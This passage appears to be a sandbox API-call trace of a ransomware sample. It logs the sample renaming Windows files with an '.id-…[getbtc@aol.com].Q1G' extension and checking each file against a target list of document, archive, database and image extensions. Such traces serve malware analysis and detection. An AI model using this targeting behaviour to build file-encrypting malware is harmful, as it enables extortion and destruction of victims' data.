[0236.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.717] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2600) returned 1 [0236.717] CloseHandle (hObject=0x314) returned 1 [0236.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0236.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.718] Sleep (dwMilliseconds=0x64) [0236.993] Sleep (dwMilliseconds=0x64) [0237.134] Sleep (dwMilliseconds=0x64) [0237.255] Sleep (dwMilliseconds=0x64) [0237.482] Sleep (dwMilliseconds=0x64) [0237.742] Sleep (dwMilliseconds=0x64) [0237.972] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0237.972] lstrlenW (lpString="adovbs.inc") returned 10 [0237.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0238.014] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=14951) returned 1 [0238.015] CloseHandle (hObject=0x324) returned 1 [0238.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0238.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.015] lstrlenW (lpString=".doc") returned 4 [0238.015] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.015] lstrlenW (lpString=".docx") returned 5 [0238.015] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.015] lstrlenW (lpString=".pdf") returned 4 [0238.015] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.015] lstrlenW (lpString=".xls") returned 4 [0238.015] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.015] lstrlenW (lpString=".xlsx") returned 5 [0238.015] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.015] lstrlenW (lpString=".ppt") returned 4 [0238.015] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.015] lstrlenW (lpString=".zip") returned 4 [0238.015] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.015] lstrlenW (lpString=".rar") returned 4 [0238.015] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.015] lstrlenW (lpString=".bz2") returned 4 [0238.015] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.015] lstrlenW (lpString=".7z") returned 3 [0238.015] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.016] lstrlenW (lpString=".dbf") returned 4 [0238.016] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.016] lstrlenW (lpString=".1cd") returned 4 [0238.016] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.016] lstrlenW (lpString=".jpg") returned 4 [0238.016] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.016] lstrlenW (lpString=".doc") returned 4 [0238.016] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.016] lstrlenW (lpString=".docx") returned 5 [0238.016] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.016] lstrlenW (lpString=".pdf") returned 4 [0238.016] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.016] lstrlenW (lpString=".xls") returned 4 [0238.016] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.016] lstrlenW (lpString=".xlsx") returned 5 [0238.016] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.016] lstrlenW (lpString=".ppt") returned 4 [0238.016] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.016] lstrlenW (lpString=".zip") returned 4 [0238.016] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.016] lstrlenW (lpString=".rar") returned 4 [0238.016] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.016] lstrlenW (lpString=".bz2") returned 4 [0238.016] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.016] lstrlenW (lpString=".7z") returned 3 [0238.016] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.016] lstrlenW (lpString=".dbf") returned 4 [0238.016] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.016] lstrlenW (lpString=".1cd") returned 4 [0238.016] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0238.017] lstrlenW (lpString=".jpg") returned 4 [0238.017] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.017] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0238.017] lstrlenW (lpString="oledbjvs.inc") returned 12 [0238.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.193] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9804) returned 1 [0238.193] CloseHandle (hObject=0x388) returned 1 [0238.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0238.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.194] lstrlenW (lpString=".doc") returned 4 [0238.194] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.194] lstrlenW (lpString=".docx") returned 5 [0238.194] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.194] lstrlenW (lpString=".pdf") returned 4 [0238.194] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.194] lstrlenW (lpString=".xls") returned 4 [0238.194] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.194] lstrlenW (lpString=".xlsx") returned 5 [0238.194] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.194] lstrlenW (lpString=".ppt") returned 4 [0238.194] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.194] lstrlenW (lpString=".zip") returned 4 [0238.194] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.194] lstrlenW (lpString=".rar") returned 4 [0238.194] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.194] lstrlenW (lpString=".bz2") returned 4 [0238.194] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.194] lstrlenW (lpString=".7z") returned 3 [0238.194] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.194] lstrlenW (lpString=".dbf") returned 4 [0238.194] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.194] lstrlenW (lpString=".1cd") returned 4 [0238.194] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.194] lstrlenW (lpString=".jpg") returned 4 [0238.195] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.195] lstrlenW (lpString=".doc") returned 4 [0238.195] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.195] lstrlenW (lpString=".docx") returned 5 [0238.195] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.195] lstrlenW (lpString=".pdf") returned 4 [0238.195] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.195] lstrlenW (lpString=".xls") returned 4 [0238.195] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.195] lstrlenW (lpString=".xlsx") returned 5 [0238.195] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.195] lstrlenW (lpString=".ppt") returned 4 [0238.195] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.195] lstrlenW (lpString=".zip") returned 4 [0238.195] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.195] lstrlenW (lpString=".rar") returned 4 [0238.195] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.195] lstrlenW (lpString=".bz2") returned 4 [0238.195] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.195] lstrlenW (lpString=".7z") returned 3 [0238.195] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.195] lstrlenW (lpString=".dbf") returned 4 [0238.195] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.195] lstrlenW (lpString=".1cd") returned 4 [0238.195] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0238.195] lstrlenW (lpString=".jpg") returned 4 [0238.195] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.196] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.196] lstrlenW (lpString="background.png") returned 14 [0238.196] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0238.235] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=52251) returned 1 [0238.235] CloseHandle (hObject=0x338) returned 1 [0238.235] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0238.245] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.255] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.255] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.255] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.255] lstrlenW (lpString=".doc") returned 4 [0238.255] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.255] lstrlenW (lpString=".docx") returned 5 [0238.255] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0238.255] lstrlenW (lpString=".pdf") returned 4 [0238.255] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.255] lstrlenW (lpString=".xls") returned 4 [0238.255] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.255] lstrlenW (lpString=".xlsx") returned 5 [0238.255] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0238.255] lstrlenW (lpString=".ppt") returned 4 [0238.255] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.255] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.255] lstrlenW (lpString=".zip") returned 4 [0238.255] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.255] lstrlenW (lpString=".rar") returned 4 [0238.255] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.255] lstrlenW (lpString=".bz2") returned 4 [0238.255] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.255] lstrlenW (lpString=".7z") returned 3 [0238.255] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.255] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.255] lstrlenW (lpString=".dbf") returned 4 [0238.255] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.255] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.256] lstrlenW (lpString=".1cd") returned 4 [0238.256] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.256] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.256] lstrlenW (lpString=".jpg") returned 4 [0238.256] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.256] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.256] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.256] lstrlenW (lpString=".doc") returned 4 [0238.256] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.256] lstrlenW (lpString=".docx") returned 5 [0238.256] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0238.256] lstrlenW (lpString=".pdf") returned 4 [0238.256] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.256] lstrlenW (lpString=".xls") returned 4 [0238.256] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.256] lstrlenW (lpString=".xlsx") returned 5 [0238.256] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0238.256] lstrlenW (lpString=".ppt") returned 4 [0238.256] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.256] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.256] lstrlenW (lpString=".zip") returned 4 [0238.256] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.256] lstrlenW (lpString=".rar") returned 4 [0238.256] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.256] lstrlenW (lpString=".bz2") returned 4 [0238.256] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.256] lstrlenW (lpString=".7z") returned 3 [0238.256] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.256] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.256] lstrlenW (lpString=".dbf") returned 4 [0238.256] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.256] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.256] lstrlenW (lpString=".1cd") returned 4 [0238.256] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.256] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0238.256] lstrlenW (lpString=".jpg") returned 4 [0238.257] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.257] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.257] lstrlenW (lpString="btn-next-static.png") returned 19 [0238.257] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0238.257] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3580) returned 1 [0238.257] CloseHandle (hObject=0x390) returned 1 [0238.257] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0238.257] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.257] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.257] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.257] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.258] lstrlenW (lpString=".doc") returned 4 [0238.258] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.258] lstrlenW (lpString=".docx") returned 5 [0238.258] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0238.258] lstrlenW (lpString=".pdf") returned 4 [0238.258] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.258] lstrlenW (lpString=".xls") returned 4 [0238.258] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.258] lstrlenW (lpString=".xlsx") returned 5 [0238.258] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0238.258] lstrlenW (lpString=".ppt") returned 4 [0238.258] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.258] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.258] lstrlenW (lpString=".zip") returned 4 [0238.258] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.258] lstrlenW (lpString=".rar") returned 4 [0238.258] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.258] lstrlenW (lpString=".bz2") returned 4 [0238.258] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.258] lstrlenW (lpString=".7z") returned 3 [0238.258] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.258] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.258] lstrlenW (lpString=".dbf") returned 4 [0238.258] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.258] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.258] lstrlenW (lpString=".1cd") returned 4 [0238.258] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.258] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.258] lstrlenW (lpString=".jpg") returned 4 [0238.258] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.258] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.258] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.258] lstrlenW (lpString=".doc") returned 4 [0238.258] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.258] lstrlenW (lpString=".docx") returned 5 [0238.258] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0238.259] lstrlenW (lpString=".pdf") returned 4 [0238.259] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.259] lstrlenW (lpString=".xls") returned 4 [0238.259] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.259] lstrlenW (lpString=".xlsx") returned 5 [0238.259] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0238.259] lstrlenW (lpString=".ppt") returned 4 [0238.259] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.259] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.259] lstrlenW (lpString=".zip") returned 4 [0238.259] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.259] lstrlenW (lpString=".rar") returned 4 [0238.259] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.259] lstrlenW (lpString=".bz2") returned 4 [0238.259] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.259] lstrlenW (lpString=".7z") returned 3 [0238.259] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.259] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.259] lstrlenW (lpString=".dbf") returned 4 [0238.259] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.259] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.259] lstrlenW (lpString=".1cd") returned 4 [0238.259] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.259] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0238.259] lstrlenW (lpString=".jpg") returned 4 [0238.259] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.259] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.259] lstrlenW (lpString="btn-previous-static.png") returned 23 [0238.259] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0238.260] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3595) returned 1 [0238.260] CloseHandle (hObject=0x390) returned 1 [0238.260] 